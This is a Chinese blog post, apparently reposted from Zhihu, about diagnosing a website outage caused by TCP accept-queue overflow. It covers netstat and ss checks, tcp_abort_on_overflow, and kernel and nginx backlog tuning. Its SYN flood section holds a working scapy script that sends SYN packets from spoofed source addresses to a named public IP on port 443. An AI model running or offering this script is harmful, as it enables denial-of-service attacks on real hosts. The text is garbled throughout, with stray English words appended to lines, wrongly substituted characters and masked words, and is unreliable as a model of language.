记一次惊心的网站 TCP 队列问题排查经历

1html

   问题描述python



  1. 监控系统发现电商网站主页及其它页面间歇性的没法访问;linux

  2. 查看安全防御和网络流量、应用系统负载均正常;nginx

  3. 系统重启后,可以暂时解决,但持续一段时间后间歇性问题再次出现。web

此时问题已影响到整个网站的正常业务,我那个心惊呀,最主要是报警系统没有任何报警,服务运行一切正常,瞬时背上的汗已经出来了。但仍是要静心,来仔细寻找蛛丝马迹,来一步一步找问题。安全



2服务器

  问题初步判断cookie



  • 检查dev 和 网卡设备层,是否有error和drop ,分析在硬件和系统层是否异常 ----- 命令 cat /proc/net/dev 和 ifconfig网络

  • 观察socket overflow  和 socket droped(若是应用处理全链接队列(accept queue)过慢 socket overflow,影响半链接队列(syn queue)溢出socket dropped)----- 命令 netstat -s |grep -i listen多线程


cb7e9a492afdaf40aa13191d51328b30.jpeg 发现SYN socket overflow  和 socket droped 急增长


  • 检查sysctl内核参数:backlog ,somaxconn,file-max 和  应用程序的backlog ;

ss -lnt查询,SEND-Q会取上述参数的最小值


24bfa355e5acd9a8ca891ec647222a7d.jpeg发现当时队列已经超过网站80端口和443端口默认值

  • 检查 selinux 和 NetworkManager 是否启用 ,建议禁用;

  • 检查timestap ,reuse 启用,内核recycle是否启用,若是过NAT,禁用recycle;

  • 抓包判断请求进来后应用处理的状况,是否收到SYN未响应状况。



3

  深刻分析问题 




正常TCP建链接三次握手过程:

88835b9ab82f95a5c593d639baba53d0.jpeg

  • 第一步:客户端 发送 syn 到 服务端发起握手;

  • 第二步:服务端 收到 syn后回复syn+ack给 客户端

  • 第三步:客户端 收到syn+ack后,回复 服务端一个ack表示收到了 服务端的syn+ack 。

从描述的状况来看,TCP建链接的时候全链接队列(accept队列)满了,尤为是描述中症状为了证实是这个缘由。反复看了几回以后发现这个overflowed 一直在增长,那么能够明确的是server上全链接队列必定溢出了。


接着查看溢出后,OS怎么处理:

# cat /proc/sys/net/ipv4/tcp_abort_on_overflow

0

tcp_abort_on_overflow 为0表示若是三次握手第三步的时候全链接队列满了那么server扔掉client 发过来的ack(在server端认为链接还没创建起来)


为了证实客户端应用代码的异常跟全链接队列满有关系,我先把tcp_abort_on_overflow修改为 1,1表示第三步的时候若是全链接队列满了,server发送一个reset包给client,表示废掉这个握手过程和这个链接(原本在server端这个链接就还没创建起来)。


接着测试而后在web服务日志中异常中能够看到不少connection reset by peer的错误,到此证实客户端错误是这个缘由致使的。


查看sysctl内核参数:backlog ,somaxconn,file-max 和  nginx的backlog配置参数,ss -ln取最小值,发现为128,此时resv-q已经在129 ,请求被丢弃。将上述参数修改,并进行优化:


  • linux内核参进行优化:
    net.ipv4.tcp_syncookies = 1
    net.ipv4.tcp_max_syn_backlog = 16384
    net.core.somaxconn = 16384

  • nginx 配置参数优化:
    backlog=32768;

利用python 多线程压测,并未发现新的问题:

import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex:
    for each_a_tag in soup.find_all('a'):
        try:
            ex.submit(requests.get,each_a_tag['href'])
        except Exception as err:
            print('return error msg:'+str(err))

理解TCP握手过程当中建链接的流程和队列


b3de2485868e1440c9f0ffda812b66eb.jpeg

如上图所示,这里有两个队列:syns queue(半链接队列);accept queue(全链接队列)


三次握手中,在第一步server收到client的syn后,把相关信息放到半链接队列中,同时回复syn+ack给client(第二步);


第三步的时候server收到client的ack,若是这时全链接队列没满,那么从半链接队列拿出相关信息放入到全链接队列中,不然按tcp_abort_on_overflow指示的执行。


这时若是全链接队列满了而且tcp_abort_on_overflow是0的话,server过一段时间再次发送syn+ack给client(也就是从新走握手的第二步),若是client超时等待比较短,就很容易异常了。


4

 sYN Flood洪水***




当前最流行的DoS(拒绝服务***)与DDoS(分布式拒绝服务***)的方式之一,这是一种利用TCP协议缺陷,致使被***服务器保持大量SYN_RECV状态的“半链接”,而且会重试默认5次回应第二个握手包,塞满TCP等待链接队列,资源耗尽(CPU满负荷或内存不足),让正常的业务请求链接不进来。

from concurrent.futures import ThreadPoolExecutor
from scapy.all import *
def synFlood(tgt,dPort):
    srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',
               '125.130.5.199']
    for sPort in range(1024, 65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')
        packet = ipLayer/tcpLayer
        send(packet)

tgt = '139.196.251.198'
print(tgt)
dPort = 443

with ThreadPoolExecutor(10000000) as ex:
    try:
        ex.submit(synFlood(tgt,dPort))
    except Exception as err:
        print('return error msg:' + str(err))

因此你们要对TCP半链接队列和全链接队列的问题很容易被忽视,可是又很关键,特别是对于一些短链接应用更容易爆发。


出现问题后,从网络流量、cpu、线程、负载来看都比较正常,在用户端来看rt比较高,可是从服务器端的日志看rt又很短。如何避免在出现问题时手忙脚乱,创建起应急机机制,后续有机会写一下应急方面的文章。


来源:知乎

连接:https://zhuanlan.zhihu.com/p/36731397